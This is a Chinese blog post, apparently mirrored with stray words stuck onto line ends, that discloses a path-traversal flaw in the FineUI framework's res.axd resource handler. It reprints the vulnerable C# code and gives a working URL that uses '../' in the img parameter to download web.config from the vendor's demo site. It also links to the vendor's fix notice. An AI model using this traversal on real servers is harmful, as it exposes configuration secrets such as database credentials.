注:屏蔽本漏洞的緊急通知:http://fineui.com/bbs/forum.php?mod=viewthread&tid=7863javascript
本人小學文化,文采很差,寫的很差請各位多多包含,php
最近筆者喜歡研究一些代碼安全方面的問題,前些日子研究了下力軟的框架,發現代碼安全方面作的仍是不足的,今天偶爾的機會接觸了下fineui,從最開始的注入開始,都沒有什麼突破,css
最好就想到列別的排序,從列別排序注入,弄了很久,發現一直沒注入成功也沒有報錯,我就非常奇怪,而後看了下fineui的開源版,看了代碼,發現原來他是判斷的 ,不是拼接的,難怪注入失敗,java
原本覺得沒什麼辦法了,而後查看頁面源碼,發現一個引用引發了個人注意:web
這個地址,因而去看了下他的源碼瀏覽器
using System; using System.Collections.Generic; using System.Text; using System.Web; using System.Reflection; using System.IO; using System.Drawing.Imaging; namespace FineUI { /// <summary> /// 資源處理程序 /// </summary> public class ResourceHandler : IHttpHandler { /// <summary> /// 處理資源的請求 /// </summary> /// <param name="context">Http請求上下文</param> public void ProcessRequest(HttpContext context) { string type = String.Empty; string typeValue = String.Empty; string extjsBasePath = GlobalConfig.GetExtjsBasePath(); //resName = "FineUI."; if (!String.IsNullOrEmpty(typeValue = context.Request.QueryString["icon"])) { type = "icon"; } //else if (!String.IsNullOrEmpty(typeValue = context.Request.QueryString["js"])) //{ // type = "js"; // //resName += "js." + typeValue; //} //else if (!String.IsNullOrEmpty(typeValue = context.Request.QueryString["lang"])) //{ // type = "lang"; // //resName += "js.lang." + typeValue; //} else if (!String.IsNullOrEmpty(typeValue = context.Request.QueryString["theme"])) { // res.axd?theme=default.grid.refresh.gif type = "theme"; //resName += "res.theme." + typeValue; } //else if (!String.IsNullOrEmpty(typeValue = context.Request.QueryString["css"])) //{ // type = "css"; // //resName += "res.css." + typeValue; //} else if (!String.IsNullOrEmpty(typeValue = context.Request.QueryString["img"])) { type = "img"; //resName += "res.img." + typeValue; } else { context.Response.Write("Not supported!"); return; } //byte[] binary; switch (type) { case "icon": if (!typeValue.EndsWith(".png") && !typeValue.EndsWith(".gif")) { typeValue = IconHelper.GetName((Icon)Enum.Parse(typeof(Icon), typeValue)); } //resName += "res.icon." + typeValue; string serverPath = String.Format("{0}/{1}", GlobalConfig.GetIconBasePath(), typeValue); context.Response.WriteFile(context.Server.MapPath(serverPath)); context.Response.ContentType = "image/" + GetImageFormat(typeValue); break; //case "js": // context.Response.Write(ResourceHelper.GetResourceContent(resName)); // context.Response.ContentType = "text/javascript"; //case "lang": // context.Response.Write(ResourceHelper.GetResourceContent(resName)); // context.Response.ContentType = "text/javascript"; // break; //case "css": // context.Response.Write(ResourceHelper.GetResourceContent(resName)); // context.Response.ContentType = "text/css"; // break; case "theme": string themePath = ""; string themeImageFormat = ""; int lastDotIndex = typeValue.LastIndexOf("."); if (lastDotIndex >= 0) { themePath = typeValue.Substring(0, lastDotIndex).Replace('.', '/'); themeImageFormat = typeValue.Substring(lastDotIndex + 1); } context.Response.WriteFile(context.Server.MapPath(String.Format("{0}/res/images/{1}.{2}", extjsBasePath, themePath, themeImageFormat))); context.Response.ContentType = "image/" + GetImageFormat(typeValue); break; case "img": //binary = ResourceHelper.GetResourceContentAsBinary(resName); //context.Response.OutputStream.Write(binary, 0, binary.Length); //context.Response.ContentType = "image/" + GetImageFormat(resName); context.Response.WriteFile(context.Server.MapPath(String.Format("{0}/res/images/{1}", extjsBasePath, typeValue))); context.Response.ContentType = "image/" + GetImageFormat(typeValue); break; } // 緩存一年,只能經過改變 URL 來強制更新緩存 context.Response.Cache.SetExpires(DateTime.Now.AddYears(1)); context.Response.Cache.SetCacheability(HttpCacheability.Public); } //private void RenderImage(HttpContext context, string resName) //{ // Assembly assembly = Assembly.GetExecutingAssembly(); // using (Stream stream = assembly.GetManifestResourceStream(resName)) // { // using (System.Drawing.Image image = System.Drawing.Image.FromStream(stream)) // { // // PNG輸出時出現「GDI+ 中發生通常性錯誤」 // using (MemoryStream ms = new MemoryStream()) // { // image.Save(ms, image.RawFormat); // ms.WriteTo(context.Response.OutputStream); // context.Response.ContentType = "image/" + GetImageFormat(image.RawFormat); // } // } // } //} private string GetImageFormat(string imageName) { int lastDotIndex = imageName.LastIndexOf("."); if (lastDotIndex >= 0) { return imageName.Substring(lastDotIndex + 1); } return "png"; } private string GetImageFormat(ImageFormat format) { if (format == ImageFormat.Bmp) { return "bmp"; } else if (format == ImageFormat.Gif) { return "gif"; } else if (format == ImageFormat.Jpeg) { return "jpeg"; } else if (format == ImageFormat.Png) { return "png"; } else if (format == ImageFormat.Tiff) { return "tiff"; } else if (format == ImageFormat.Icon) { return "icon"; } return "gif"; } /// <summary> /// 只要請求的 URL 相同,則請求能夠重用 /// </summary> public bool IsReusable { get { return true; } } } }
看了下,高興啊。。太好了,不知道大家看出問題來了沒有,緩存
問題代碼就在安全
case "img": //binary = ResourceHelper.GetResourceContentAsBinary(resName); //context.Response.OutputStream.Write(binary, 0, binary.Length); //context.Response.ContentType = "image/" + GetImageFormat(resName); context.Response.WriteFile(context.Server.MapPath(String.Format("{0}/res/images/{1}", extjsBasePath, typeValue))); context.Response.ContentType = "image/" + GetImageFormat(typeValue); break;
你們都應該知道 咱們引用js或者css的時候常常會有../ 這樣的路徑,其實很簡單,就是上級目錄,app
咱們就利用這個../ 把做者寫的/res/images/給去掉 也就是變成路徑 框架
/res/images/../../web.config
就這樣咱們就能夠拿到web.config了,而後拼成完整的url:http://fineui.com/demo/res.axd?img=../../../../appboxpro/web.config&t=icon 瀏覽器輸入
ok web.config就這樣被拿下來了,,,固然,web.config都拿下了,其它也就都沒什麼可說的了,
今天就先到這吧。。。還得寫文檔,明天演示項目,註定又是一個無眠夜。。。